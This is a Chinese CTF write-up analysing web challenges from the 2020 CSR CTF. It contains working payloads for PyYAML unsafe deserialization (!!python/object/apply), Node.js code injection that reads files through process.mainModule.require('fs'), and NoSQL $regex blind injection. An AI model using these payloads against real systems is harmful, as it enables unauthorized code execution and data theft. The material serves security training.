2020-CSR-CTF-Web-复盘以及分析
2020-CSR-CTF-Web-复盘以及分析
本文首发于“合天网安实验室”作者:landvsec本文涉及靶场知识点练习:CTF实验室CTF从入门到实践-CTF一站式学习平台-合天网安实验室0x01 前言2020 年 10 月 31 日万圣节举办的德国比赛,界面很有特色,web 题目质量很高,队伍只出了三道,结束后通通复盘了一遍深入理解。题目从易到难一共有十道,其中九道有出,本篇只详细分析解数多的五道,其余四道比赛时只有个位数 solve ,打算后续专门写四篇结合相应漏洞讲述。本篇相关亮点:- Python yaml 反序列化
- Node.JS RCE
- NoSQL 盲注

yaml.dump(data, Dumper=Dumper)yaml.dump函数接受一个 Python 对象并生成一个 YAML 文档。 yaml.load(stream, Loader=Loader)yaml.load函数将 YAML 文档转换为 Python 对象,返回一个 Python 对象。 yaml.load接受一个字节字符串、一个 Unicode 字符串、一个打开的二进制文件对象或一个打开的文本文件对象。字节字符串或文件必须使用 utf-8、 utf-16-be 或 utf-16-le 编码进行编码。yaml.load通过检查字符串/文件开头的 BOM (字节顺序标记) 序列来检测编码。如果没有提供 BOM,则假定采用 utf-8编码。 ```python yaml.load(u""" ... hello: Привет! ... """) # In Python 3, do not use the 'u' prefix {'hello': u'\u041f\u0440\u0438\u0432\u0435\u0442!'} stream = file('document.yaml', 'r') # 'document.yaml' contains a single YAML document. yaml.load(stream) [...] # A Python object corresponding to the document. ``` 对于这个函数,官方也有警告: 用从不可信来源接收的任何数据调用 yaml.load是不安全的!yaml.load和 pickle.load一样强大,因此可以调用任何 Python 函数。 既然 yaml.load可以调用任何 Python 函数,那我们可以不用想办法创建 whale 去使之与 EASTER_WHALE相等,直接 flag.get_flag()即可。 结合题目代码: python @staticmethod def from_configuration(config): return Wheel(**yaml.load(config, Loader=yaml.Loader))这里的 yaml.load从 config 中读取 yaml 文件创建 wheel 对象,加上 Loader=yaml.Loader只是为了避免警告。 而 config 则是来自我们 post 的表单数据: python if request.method == "POST": if "config" in request.form: wheel = Wheel.from_configuration(request.form["config"])到这里思路就很明晰了,我们从路由 wheel post config 对象,config 的 name 用我们精心构造的可以 flag.get_flag()的语句,其他参数因为是数字类型所以随便写即可。我们先要想办法序列化一个对象传入 yaml.load,而对应官方文档有:
!!python/object:module.Class { attribute: value, ... }任何可选对象都可以使用 !!python/object进行序列化。 为了支持 pickle 协议,还提供了两种额外形式。 !!python/object/new:module.Class [argument, ...]!!python/object/apply:module.function [argument, ...]```python class Hero: ... def init(self, name, hp, sp): ... self.name = name ... self.hp = hp ... self.sp = sp ... def repr(self): ... return "%s(name=%r, hp=%r, sp=%r)" % ( ... self.class.name, self.name, self.hp, self.sp) yaml.load(""" ... !!python/object:main.Hero ... name: Welthyr Syxgon ... hp: 1200 ... sp: 0 ... """) Hero(name='Welthyr Syxgon', hp=1200, sp=0) ``` 如上例,Hero 类有三个属性 name、hp、sp ,我们可以通过 !!python/object利用 yaml.load成功序列化出来。所以我们可以构造 payload 如下:config={name: !!python/object/apply:flag.get_flag [], image_num: 3, diameter: 3}


- 当访问一个不存在的路径时,会得到 node 错误 “ Can not GET/whatever” ,响应头部有 X-Powered-By: Express( Express 框架开发)
- 利用 Wappalyzer之类的插件了解网站所用技术

"fetch is not defined" -- we are running on node and not a web browser通过观察 JavaScript Code ,我们可以先闭合掉前面的正则表达式,试着拼接一些命令来获取更多信息,最后再注释掉:// test\w/gi);leta=10;returna;/------'123'.match(/\w/gi);leta=10;returna;//gi)------{"result":10}既然有了 RCE ,我们先来考虑读系统文件该怎么构造 payload ,node 有 fs 模块用于对系统文件及目录进行读写操作,需要用 require('fs')来载入,但上下文里不一定有 require,require并不是可以全局访问的。见 官方文档和 示例:
require()This variable may appear to be global but is not. See require(). json (function(){Function('console.log(require("fs").readFileSync("/etc/passwd"))')()})() //ReferenceError: require is not defined这题就没有,而 process.mainModule属性提供了一种获取 require.main的替代方式,换言之,我们可以通过 process.mainModule.require('fs')来载入,然后通过 fs.readdirSync(path[, options])同步返回一个包含“指定目录下所有文件名称”的数组对象。// test\w/gi);letfiles =[];constfs =process.mainModule.require('fs');fs.readdirSync(".").forEach(file=>files.push(file));returnfiles;/------'123'.match(/\w/gi);letfiles =[];constfs =process.mainModule.require('fs');fs.readdirSync(".").forEach(file=>files.push(file));returnfiles;//gi)------{"result":[".dockerignore","api.js","csregex","dist","dockerfile","index.js","leftover.js","node_modules","package-lock.json","package.json","regexer.js","requests.log","simple-fs.js"]}成功,那么接下来只要读取这些文件,结果在 dockerfile中:// test\w/gi);constfs =process.mainModule.require('fs');constdata =fs.readFileSync('dockerfile','utf8');returndata;/------'123'.match(/\w/gi);constfs =process.mainModule.require('fs');constdata =fs.readFileSync('dockerfile','utf8');returndata;//gi)






如果一个节点只有一个子节点,我们假设它只会产生一个散列,因此我们不会遍历子节点的路径。也就是假设 payload 为 ?secid[$regex]=^73没有子节点,那么当然我们遍历第三层时,就不会再去遍历 730,731,...,73f 等;而如果 78c 有一个子节点 78c1 ,也认为其只会产生一个散列 78c1 ,如图(图源自国外师傅 wp):
